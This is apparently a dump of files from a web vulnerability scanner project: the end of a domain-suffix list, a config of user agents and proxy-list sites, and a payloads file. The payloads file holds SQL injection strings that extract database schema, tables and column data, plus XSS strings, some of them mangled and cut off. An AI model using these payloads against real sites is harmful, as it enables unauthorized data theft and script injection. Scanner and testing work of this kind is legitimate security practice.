1203 | kitchen
1204 | kiwi
1205 | kiwi.nz
1206 | km
1207 | kn
1208 | kobe.jp
1209 | kochi.jp
1210 | koeln
1211 | komatsu
1212 | komforb.se
1213 | kommunalforbund.se
1214 | komvux.se
1215 | konyvelo.hu
1216 | kp
1217 | kpn
1218 | kr
1219 | kr.com
1220 | kr.tc
1221 | krd
1222 | kred
1223 | kumamoto.jp
1224 | kw
1225 | ky
1226 | kyonggi.kr
1227 | kyoto
1228 | kyoto.jp
1229 | kz
1230 | la
1231 | lacaixa
1232 | lakas.hu
1233 | lamborghini
1234 | lamer
1235 | lanarb.se
1236 | lanbib.se
1237 | lancaster
1238 | land
1239 | landrover
1240 | lanxess
1241 | lasalle
1242 | lat
1243 | latrobe
1244 | law
1245 | law.pro
1246 | law.za
1247 | lawyer
1248 | lb
1249 | lc
1250 | lds
1251 | lease
1252 | leclerc
1253 | legal
1254 | lel.br
1255 | lexus
1256 | lg.jp
1257 | lgbt
1258 | li
1259 | liaison
1260 | lidl
1261 | life
1262 | lifeinsurance
1263 | lifestyle
1264 | lighting
1265 | like
1266 | limited
1267 | limo
1268 | limo.cf
1269 | lincoln
1270 | linde
1271 | link
1272 | live
1273 | living
1274 | lixil
1275 | lk
1276 | lkd.co.im
1277 | llc
1278 | ln.cn
1279 | loan
1280 | loans
1281 | localdomain
1282 | lol
1283 | london
1284 | lotte
1285 | lotto
1286 | love
1287 | lr
1288 | ls
1289 | lt
1290 | ltd
1291 | ltd.gg
1292 | ltd.je
1293 | ltd.uk
1294 | ltda
1295 | lu
1296 | lupin
1297 | luxe
1298 | luxury
1299 | lv
1300 | ly
1301 | ma
1302 | madrid
1303 | maif
1304 | mail.pl
1305 | maison
1306 | makeup
1307 | man
1308 | management
1309 | mango
1310 | maori.nz
1311 | market
1312 | marketing
1313 | markets
1314 | marriott
1315 | mat.br
1316 | matsuyama.jp
1317 | mb.ca
1318 | mba
1319 | mc
1320 | md
1321 | me
1322 | me.uk
1323 | med
1324 | med.br
1325 | med.ec
1326 | med.ee
1327 | med.om
1328 | med.pro
1329 | med.sa
1330 | med.sd
1331 | medecin.fr
1332 | media
1333 | media.hu
1334 | media.pl
1335 | meet
1336 | melbourne
1337 | meme
1338 | memorial
1339 | men
1340 | menu
1341 | meo
1342 | mf
1343 | mg
1344 | mh
1345 | miami
1346 | miasta.pl
1347 | microsoft
1348 | mie.jp
1349 | mil
1350 | mil.ac
1351 | mil.ar
1352 | mil.br
1353 | mil.co
1354 | mil.do
1355 | mil.ec
1356 | mil.er
1357 | mil.ge
1358 | mil.gt
1359 | mil.gu
1360 | mil.id
1361 | mil.in
1362 | mil.jo
1363 | mil.kh
1364 | mil.lb
1365 | mil.lv
1366 | mil.nz
1367 | mil.pe
1368 | mil.ph
1369 | mil.pl
1370 | mil.sh
1371 | mil.st
1372 | mil.tr
1373 | mil.uy
1374 | mil.ve
1375 | mil.ye
1376 | mil.za
1377 | mini
1378 | miyagi.jp
1379 | miyazaki.jp
1380 | mjj.la
1381 | mk
1382 | ml
1383 | mm
1384 | mma
1385 | mn
1386 | mo
1387 | mo.cn
1388 | mob.nr
1389 | mobi
1390 | mobi.tt
1391 | mobil.nr
1392 | mobile.nr
1393 | mobily
1394 | mod.om
1395 | mod.uk
1396 | moda
1397 | moe
1398 | moi
1399 | mom
1400 | monash
1401 | money
1402 | montblanc
1403 | mormon
1404 | mortgage
1405 | moscow
1406 | motorcycles
1407 | mov
1408 | movie
1409 | movistar
1410 | mp
1411 | mq
1412 | mr
1413 | ms
1414 | msk.ru
1415 | mt
1416 | mtn
1417 | mtpc
1418 | mtr
1419 | mu
1420 | muni.il
1421 | mus.br
1422 | museum
1423 | museum.mn
1424 | museum.om
1425 | museum.tt
1426 | mutuelle
1427 | mv
1428 | mw
1429 | mx
1430 | mx.tc
1431 | my
1432 | mz
1433 | na
1434 | nadex
1435 | nagano.jp
1436 | nagasaki.jp
1437 | nagoya
1438 | nagoya.jp
1439 | name
1440 | name.et
1441 | name.tt
1442 | name.vg
1443 | name.vn
1444 | nara.jp
1445 | nat.tn
1446 | naturbruksgymn.se
1447 | navy
1448 | nb.ca
1449 | nc
1450 | ne
1451 | ne.gg
1452 | ne.jp
1453 | ne.kr
1454 | nec
1455 | net
1456 | net.ac
1457 | net.ae
1458 | net.ag
1459 | net.ar
1460 | net.au
1461 | net.az
1462 | net.bb
1463 | net.bh
1464 | net.bm
1465 | net.br
1466 | net.bs
1467 | net.bz
1468 | net.ck
1469 | net.cm
1470 | net.cn
1471 | net.co
1472 | net.cu
1473 | net.cy
1474 | net.do
1475 | net.dz
1476 | net.ec
1477 | net.eg
1478 | net.er
1479 | net.et
1480 | net.fk
1481 | net.ge
1482 | net.gg
1483 | net.gr
1484 | net.gt
1485 | net.gu
1486 | net.hk
1487 | net.hn
1488 | net.ht
1489 | net.id
1490 | net.il
1491 | net.im
1492 | net.in
1493 | net.ir
1494 | net.je
1495 | net.jo
1496 | net.jp
1497 | net.kh
1498 | net.ki
1499 | net.kw
1500 | net.la
1501 | net.lb
1502 | net.lc
1503 | net.lv
1504 | net.ly
1505 | net.ma
1506 | net.mm
1507 | net.mo
1508 | net.ms
1509 | net.mt
1510 | net.mu
1511 | net.mx
1512 | net.my
1513 | net.na
1514 | net.nc
1515 | net.nf
1516 | net.ng
1517 | net.ni
1518 | net.np
1519 | net.nz
1520 | net.om
1521 | net.pa
1522 | net.pe
1523 | net.pg
1524 | net.ph
1525 | net.pk
1526 | net.pl
1527 | net.pt
1528 | net.py
1529 | net.qa
1530 | net.ru
1531 | net.sa
1532 | net.sb
1533 | net.sc
1534 | net.sd
1535 | net.sg
1536 | net.sh
1537 | net.so
1538 | net.st
1539 | net.sy
1540 | net.tc
1541 | net.tf
1542 | net.th
1543 | net.tn
1544 | net.tr
1545 | net.tt
1546 | net.tw
1547 | net.ua
1548 | net.uk
1549 | net.uy
1550 | net.vc
1551 | net.ve
1552 | net.vi
1553 | net.vn
1554 | net.vu
1555 | net.ws
1556 | net.ye
1557 | net.za
1558 | netbank
1559 | network
1560 | neustar
1561 | new
1562 | news
1563 | news.hu
1564 | nexus
1565 | nf
1566 | nf.ca
1567 | ng
1568 | ngo
1569 | ngo.ph
1570 | ngo.za
1571 | nhk
1572 | nhs.uk
1573 | ni
1574 | nic.im
1575 | nic.in
1576 | nic.tt
1577 | nic.uk
1578 | nico
1579 | nieruchomosci.pl
1580 | niigata.jp
1581 | ninja
1582 | nissan
1583 | nl
1584 | nl.ca
1585 | nm.cn
1586 | no
1587 | no.com
1588 | no.tc
1589 | nokia
1590 | nom.ag
1591 | nom.br
1592 | nom.co
1593 | nom.es
1594 | nom.fk
1595 | nom.fr
1596 | nom.ni
1597 | nom.pe
1598 | nom.pl
1599 | nom.re
1600 | nom.ro
1601 | nom.ve
1602 | nom.za
1603 | nome.pt
1604 | norton
1605 | not.br
1606 | notaires.fr
1607 | nowruz
1608 | np
1609 | nr
1610 | nra
1611 | nrw
1612 | ns.ca
1613 | nt.ca
1614 | nt.ro
1615 | ntr.br
1616 | ntt
1617 | nu
1618 | nu.ca
1619 | nx.cn
1620 | nyc
1621 | nz
1622 | obi
1623 | odo.br
1624 | office
1625 | oita.jp
1626 | ok.pe
1627 | okayama.jp
1628 | okinawa
1629 | okinawa.jp
1630 | om
1631 | omega
1632 | on.ca
1633 | one
1634 | ong
1635 | onl
1636 | online
1637 | oo.lv
1638 | ooo
1639 | or.at
1640 | or.cr
1641 | or.id
1642 | or.jp
1643 | or.kr
1644 | or.th
1645 | or.ug
1646 | oracle
1647 | orange
1648 | org
1649 | org.ac
1650 | org.ae
1651 | org.ag
1652 | org.ai
1653 | org.ar
1654 | org.au
1655 | org.az
1656 | org.bb
1657 | org.bh
1658 | org.bm
1659 | org.br
1660 | org.bs
1661 | org.ck
1662 | org.cm
1663 | org.cn
1664 | org.co
1665 | org.cu
1666 | org.cy
1667 | org.do
1668 | org.dz
1669 | org.ec
1670 | org.ee
1671 | org.eg
1672 | org.er
1673 | org.es
1674 | org.et
1675 | org.fj
1676 | org.fk
1677 | org.ge
1678 | org.gg
1679 | org.gr
1680 | org.gt
1681 | org.gu
1682 | org.hk
1683 | org.hn
1684 | org.ht
1685 | org.hu
1686 | org.il
1687 | org.im
1688 | org.in
1689 | org.ir
1690 | org.je
1691 | org.jo
1692 | org.jp
1693 | org.kh
1694 | org.ki
1695 | org.kw
1696 | org.la
1697 | org.lb
1698 | org.lc
1699 | org.lv
1700 | org.ly
1701 | org.ma
1702 | org.mm
1703 | org.mn
1704 | org.mo
1705 | org.mt
1706 | org.mu
1707 | org.mx
1708 | org.my
1709 | org.na
1710 | org.nc
1711 | org.ng
1712 | org.ni
1713 | org.np
1714 | org.nz
1715 | org.om
1716 | org.pa
1717 | org.pe
1718 | org.ph
1719 | org.pk
1720 | org.pl
1721 | org.pt
1722 | org.py
1723 | org.qa
1724 | org.ro
1725 | org.ru
1726 | org.sa
1727 | org.sb
1728 | org.sc
1729 | org.sd
1730 | org.se
1731 | org.sg
1732 | org.sh
1733 | org.so
1734 | org.st
1735 | org.sv
1736 | org.sy
1737 | org.tn
1738 | org.tr
1739 | org.tt
1740 | org.tw
1741 | org.ua
1742 | org.uk
1743 | org.uy
1744 | org.vc
1745 | org.ve
1746 | org.vi
1747 | org.vn
1748 | org.vu
1749 | org.ws
1750 | org.ye
1751 | org.yu
1752 | org.za
1753 | org.zw
1754 | organic
1755 | origins
1756 | osaka
1757 | osaka.jp
1758 | otc.au
1759 | otsuka
1760 | ovh
1761 | oz.au
1762 | pa
1763 | page
1764 | pamperedchef
1765 | panerai
1766 | paris
1767 | pars
1768 | parti.se
1769 | partners
1770 | parts
1771 | party
1772 | pay
1773 | pc.pl
1774 | pe
1775 | pe.ca
1776 | pe.kr
1777 | per.kh
1778 | per.sg
1779 | pet
1780 | pf
1781 | pg
1782 | ph
1783 | ph.tc
1784 | pharmacien.fr
1785 | pharmacy
1786 | philips
1787 | photo
1788 | photography
1789 | photos
1790 | physio
1791 | piaget
1792 | pics
1793 | pictet
1794 | pictures
1795 | pid
1796 | pin
1797 | ping
1798 | pink
1799 | pizza
1800 | pk
1801 | pl
1802 | pl.tc
1803 | pl.tf
1804 | place
1805 | play
1806 | playstation
1807 | plc.co.im
1808 | plc.im
1809 | plc.uk
1810 | plo.ps
1811 | plumbing
1812 | plus
1813 | pm
1814 | pn
1815 | pohl
1816 | poker
1817 | pol.dz
1818 | police.uk
1819 | porn
1820 | port.fr
1821 | post
1822 | powiat.pl
1823 | pp.ru
1824 | pp.se
1825 | ppg.br
1826 | pr
1827 | praxi
1828 | prd.fr
1829 | press
1830 | press.ma
1831 | press.se
1832 | presse.fr
1833 | pri.ee
1834 | principe.st
1835 | priv.at
1836 | priv.hu
1837 | priv.pl
1838 | pro
1839 | pro.ae
1840 | pro.br
1841 | pro.om
1842 | pro.tc
1843 | pro.tt
1844 | pro.vg
1845 | pro.vn
1846 | prod
1847 | productions
1848 | prof
1849 | promo
1850 | properties
1851 | property
1852 | protection
1853 | ps
1854 | psc.br
1855 | psi.br
1856 | pt
1857 | pub
1858 | pub.sa
1859 | publ.pt
1860 | pvt.ge
1861 | pw
1862 | py
1863 | qa
1864 | qc.ca
1865 | qc.com
1866 | qh.cn
1867 | qpon
1868 | qq.name
1869 | qsl.br
1870 | quebec
1871 | racing
1872 | re
1873 | re.kr
1874 | read
1875 | realestate.pl
1876 | realtor
1877 | realty
1878 | rec.br
1879 | rec.co
1880 | rec.ro
1881 | rec.ve
1882 | recht.pro
1883 | recipes
1884 | red
1885 | red.sv
1886 | redstone
1887 | redumbrella
1888 | rehab
1889 | reise
1890 | reisen
1891 | reit
1892 | reklam.hu
1893 | rel.pl
1894 | ren
1895 | rent
1896 | rentals
1897 | repair
1898 | report
1899 | republican
1900 | res.in
1901 | rest
1902 | restaurant
1903 | review
1904 | reviews
1905 | rexroth
1906 | rich
1907 | ricoh
1908 | rio
1909 | rip
1910 | rnrt.tn
1911 | rns.tn
1912 | rnu.tn
1913 | ro
1914 | rocher
1915 | rocks
1916 | rodeo
1917 | room
1918 | rs
1919 | rsvp
1920 | ru
1921 | ru.com
1922 | ru.tc
1923 | ru.tf
1924 | ruhr
1925 | run
1926 | rw
1927 | rwe
1928 | ryukyu
1929 | s.pe
1930 | sa
1931 | sa.com
1932 | sa.cr
1933 | saarland
1934 | safe
1935 | safety
1936 | saga.jp
1937 | saitama.jp
1938 | sakura
1939 | sale
1940 | salon
1941 | samsung
1942 | sandvik
1943 | sandvikcoromant
1944 | sanofi
1945 | saotome.st
1946 | sap
1947 | sapo
1948 | sapporo.jp
1949 | sark.gg
1950 | sarl
1951 | sas
1952 | saxo
1953 | sb
1954 | sbs
1955 | sc
1956 | sc.cn
1957 | sca
1958 | scb
1959 | sch.ae
1960 | sch.gg
1961 | sch.ir
1962 | sch.je
1963 | sch.ng
1964 | sch.sa
1965 | sch.sd
1966 | sch.uk
1967 | schaeffler
1968 | schmidt
1969 | scholarships
1970 | school
1971 | school.fj
1972 | school.nz
1973 | school.za
1974 | schule
1975 | schwarz
1976 | sci.eg
1977 | science
1978 | scor
1979 | scot
1980 | sd
1981 | sd.cn
1982 | se
1983 | se.com
1984 | se.net
1985 | se.tt
1986 | seat
1987 | sec.kz
1988 | sec.ps
1989 | security
1990 | seek
1991 | select
1992 | sendai.jp
1993 | sener
1994 | seoul.kr
1995 | services
1996 | seven
1997 | sew
1998 | sex
1999 | sex.hu
2000 | sex.pl
2001 | sexy
2002 | sfr
2003 | sg
2004 | sg.tf
2005 | sh
2006 | sh.cn
2007 | sharp
2008 | shell
2009 | shia
2010 | shiga.jp
2011 | shiksha
2012 | shimane.jp
2013 | shizuoka.jp
2014 | shoes
2015 | shop
2016 | shop.hu
2017 | shop.ms
2018 | shop.pl
2019 | shop.tc
2020 | shop.tm
2021 | show
2022 | shriram
2023 | si
2024 | singles
2025 | site
2026 | sj
2027 | sk
2028 | sk.ca
2029 | ski
2030 | skin
2031 | sklep.pl
2032 | sky
2033 | skype
2034 | sl
2035 | sld.do
2036 | sld.pa
2037 | slg.br
2038 | sm
2039 | sm.tv
2040 | smile
2041 | sn
2042 | sn.cn
2043 | sncf
2044 | so
2045 | soccer
2046 | social
2047 | softbank
2048 | software
2049 | sohu
2050 | solar
2051 | solutions
2052 | sony
2053 | sos.pl
2054 | soy
2055 | space
2056 | spb.ru
2057 | spiegel
2058 | sport.hu
2059 | spreadbetting
2060 | sr
2061 | srl
2062 | srv.br
2063 | ss
2064 | sshn.se
2065 | st
2066 | stada
2067 | star
2068 | starhub
2069 | statefarm
2070 | statoil
2071 | stb.pro
2072 | stc
2073 | stcgroup
2074 | stockholm
2075 | storage
2076 | store
2077 | store.co
2078 | store.ro
2079 | store.st
2080 | store.ve
2081 | studio
2082 | study
2083 | style
2084 | su
2085 | sucks
2086 | suli.hu
2087 | supplies
2088 | supply
2089 | support
2090 | surf
2091 | surgery
2092 | suzuki
2093 | sv
2094 | swatch
2095 | swiss
2096 | sx
2097 | sx.cn
2098 | sy
2099 | sydney
2100 | symantec
2101 | systems
2102 | sz
2103 | szex.hu
2104 | szkola.pl
2105 | tab
2106 | taipei
2107 | takamatsu.jp
2108 | taobao
2109 | targi.pl
2110 | tatamotors
2111 | tatar
2112 | tattoo
2113 | tax
2114 | taxi
2115 | tc
2116 | tci
2117 | td
2118 | team
2119 | tec.ve
2120 | tech
2121 | technology
2122 | tel
2123 | tel.no
2124 | tel.nr
2125 | telecom.na
2126 | telefonica
2127 | telememo.au
2128 | temasek
2129 | tennis
2130 | tf
2131 | tg
2132 | th
2133 | th.tc
2134 | thd
2135 | theater
2136 | theatre
2137 | then.fail
2138 | tickets
2139 | tienda
2140 | tiffany
2141 | tips
2142 | tires
2143 | tirol
2144 | tj
2145 | tj.cn
2146 | tk
2147 | tl
2148 | tlf.nr
2149 | tm
2150 | tm.fr
2151 | tm.hu
2152 | tm.mt
2153 | tm.pl
2154 | tm.ro
2155 | tm.se
2156 | tm.za
2157 | tmall
2158 | tmp.br
2159 | tn
2160 | to
2161 | tochigi.jp
2162 | today
2163 | tokushima.jp
2164 | tokyo
2165 | tokyo.jp
2166 | tools
2167 | top
2168 | toray
2169 | toshiba
2170 | tottori.jp
2171 | tourism.pl
2172 | tourism.tn
2173 | tours
2174 | town
2175 | toyama.jp
2176 | toyota
2177 | toys
2178 | tozsde.hu
2179 | tp
2180 | tr
2181 | trade
2182 | trading
2183 | training
2184 | travel
2185 | travel.pl
2186 | travel.tt
2187 | travelers
2188 | travelersinsurance
2189 | trd.br
2190 | trust
2191 | trv
2192 | tt
2193 | tube
2194 | tui
2195 | tur.br
2196 | turystyka.pl
2197 | tushu
2198 | tv
2199 | tv.br
2200 | tw
2201 | tw.cn
2202 | twbbs.org
2203 | twgg.org
2204 | twgogo.com
2205 | tz
2206 | ua
2207 | ua.tc
2208 | ubs
2209 | ug
2210 | uk
2211 | uk.com
2212 | uk.net
2213 | uk.pn
2214 | uk.tc
2215 | uk.to
2216 | uk.tt
2217 | um
2218 | unam.na
2219 | uni.cc
2220 | uni.me
2221 | university
2222 | uno
2223 | uol
2224 | us
2225 | us.com
2226 | us.ms
2227 | us.org
2228 | us.pn
2229 | us.tc
2230 | us.tf
2231 | us.to
2232 | us.tt
2233 | usa.cc
2234 | utazas.hu
2235 | utsunomiya.jp
2236 | uu.mt
2237 | uy
2238 | uy.com
2239 | uz
2240 | va
2241 | vacations
2242 | vana
2243 | vc
2244 | ve
2245 | vegas
2246 | ventures
2247 | verisign
2248 | versicherung
2249 | vet
2250 | vet.br
2251 | veterinaire.fr
2252 | vg
2253 | vi
2254 | viajes
2255 | video
2256 | video.hu
2257 | villas
2258 | vin
2259 | vip
2260 | virgin
2261 | vision
2262 | vista
2263 | vistaprint
2264 | viva
2265 | vlaanderen
2266 | vn
2267 | vodka
2268 | volkswagen
2269 | vote
2270 | voting
2271 | voto
2272 | voyage
2273 | vu
2274 | vv.cc
2275 | wakayama.jp
2276 | wales
2277 | walter
2278 | wang
2279 | wanggou
2280 | watch
2281 | watches
2282 | weather
2283 | web
2284 | web.co
2285 | web.do
2286 | web.pk
2287 | web.ve
2288 | web.za
2289 | webcam
2290 | weber
2291 | website
2292 | wed
2293 | wedding
2294 | weir
2295 | wf
2296 | whoswho
2297 | wien
2298 | wiki
2299 | williamhill
2300 | win
2301 | windows
2302 | wine
2303 | wme
2304 | wo.tc
2305 | work
2306 | works
2307 | world
2308 | ws
2309 | wtc
2310 | wtf
2311 | www.ro
2312 | xbox
2313 | xerox
2314 | xin
2315 | xj.cn
2316 | xn--1qqw23a
2317 | xn--3bst00m
2318 | xn--3ds443g
2319 | xn--3e0b707e
2320 | xn--45q11c
2321 | xn--55qw42g
2322 | xn--55qx5d
2323 | xn--55qx5d.hk
2324 | xn--55qx5d.xn--j6w193g
2325 | xn--6frz82g
2326 | xn--6qq986b3xl
2327 | xn--ciqpn.xn--j6w193g
2328 | xn--czr694b
2329 | xn--fiq228c5hs
2330 | xn--fiqs8s
2331 | xn--fiqz9s
2332 | xn--flw351e
2333 | xn--fzc2c9e2c
2334 | xn--gmqw5a.xn--j6w193g
2335 | xn--hxt814e
2336 | xn--i1b6b1a6a2e
2337 | xn--io0a7i
2338 | xn--io0a7i.xn--j6w193g
2339 | xn--j6w193g
2340 | xn--kput3i
2341 | xn--mxtq1m.xn--j6w193g
2342 | xn--nqv7f
2343 | xn--o3cw4h
2344 | xn--od0alg
2345 | xn--od0alg.xn--j6w193g
2346 | xn--q9jyb4c
2347 | xn--rhqv96g
2348 | xn--ses554g
2349 | xn--tn0ag.xn--j6w193g
2350 | xn--uc0atv.xn--j6w193g
2351 | xn--vhquv
2352 | xn--wcvs22d.xn--j6w193g
2353 | xn--xhq521b
2354 | xo.vc
2355 | xorg.pl
2356 | xperia
2357 | xxx
2358 | xyz
2359 | xz.cn
2360 | yachts
2361 | yamagata.jp
2362 | yamaguchi.jp
2363 | yamanashi.jp
2364 | yamaxun
2365 | yandex
2366 | ye
2367 | yi.org
2368 | yk.ca
2369 | yn.cn
2370 | yodobashi
2371 | yoga
2372 | yokohama
2373 | yokohama.jp
2374 | youtube
2375 | yt
2376 | yu
2377 | za
2378 | za.com
2379 | za.net
2380 | za.org
2381 | zara
2382 | zero
2383 | zip
2384 | zj.cn
2385 | zlg.br
2386 | zm
2387 | zone
2388 | zuerich
2389 | zw
2390 | © 2019 GitHub, Inc.
2391 | Terms
2392 | Privacy
2393 | Security
2394 | Status
2395 | Help
2396 | Contact GitHub
2397 | Pricing
2398 | API
2399 | Training
2400 | Blog
2401 | About
2402 |
--------------------------------------------------------------------------------
/data/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/YagamiiLight/Cerberus/7933d801b9a490e84bf38f5d8369d8395e350e39/data/__init__.py
--------------------------------------------------------------------------------
/data/config.py:
--------------------------------------------------------------------------------
1 | User_agents = \
2 | [
3 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
4 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
5 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
6 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
7 | ]
8 |
9 | Referer = ["https://www,baidu.com","https://www.google.com"]
10 |
11 | origin_proxies = {
12 | 'data5u' : "http://www.data5u.com",
13 | 'xicidaili' : "https://www.xicidaili.com",
14 | # 'goubanjia' : "http://www.goubanjia.com",
15 | 'ip3366' : "http://www.ip3366.net",
16 | 'iphai' : "http://www.iphai.com",
17 | 'cn-proxy' : "https://cn-proxy.com",
18 | 'ip_jiangxianli' : "http://ip.jiangxianli.com",
19 | 'xiladaili' : "http://www.xiladaili.com",
20 | 'ip_ihuan' : "https://ip.ihuan.me"
21 | }
22 |
23 |
24 |
--------------------------------------------------------------------------------
/data/payloads.py:
--------------------------------------------------------------------------------
1 | waf_checker = [ " '",
2 | " AND 1",
3 | " /**/AND/**/1",
4 | " AND 1=1",
5 | " AND 1 LIKE 1",
6 | " ' AND '1'='1",
7 | "
",
8 | "
",
9 | ""
10 | ]
11 |
12 | Sql_injection = {
13 |
14 | "error_based" : ["'", "')", "';", '"', '")', '";', '`', '`)',
15 | '`;', '\\', "%27", "%%2727", "%25%27", "%60", "%5C"],
16 |
17 | "union_query" : [" UNION ALL SELECT 1,2,3,4",
18 | " UNION ALL SELECT 1,2,3,4,5-- ",
19 | " UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5",
20 | " UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL-- ",
21 | " AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))-- ",
22 | " UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5--",
23 | ],
24 |
25 | "boolean_based" : [ " AND 1=0",
26 | "' AND '1'='1",
27 | "' AND 1=1--",
28 | " ' AND 1=1#",
29 | " AND 1=1 AND '%'='",
30 | " AND 7300=7300 AND 'pKlZ'='pKlZ",
31 | " AS INJECTX WHERE 1=1 AND 1=1--",
32 | " ORDER BY 2--",
33 | " RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='",
34 | " %' AND 8310=8310 AND '%'='",
35 | " and (select substring(@@version,1,1))='X'",
36 | " and (select substring(@@version,3,1))='S'",
37 | " AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-",
38 | " AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--",
39 | " AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--",
40 | " AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--",
41 | " AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--",
42 | " AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--"
43 | ]
44 | }
45 |
46 |
47 |
48 | XSS = ["z",
49 | "[confirm``]\"<\">z",
50 | "z",
51 | "",
52 | "\"/ondblclick=`<`[confir\u006d``]>z",
54 | "click",
55 | "click",
56 | "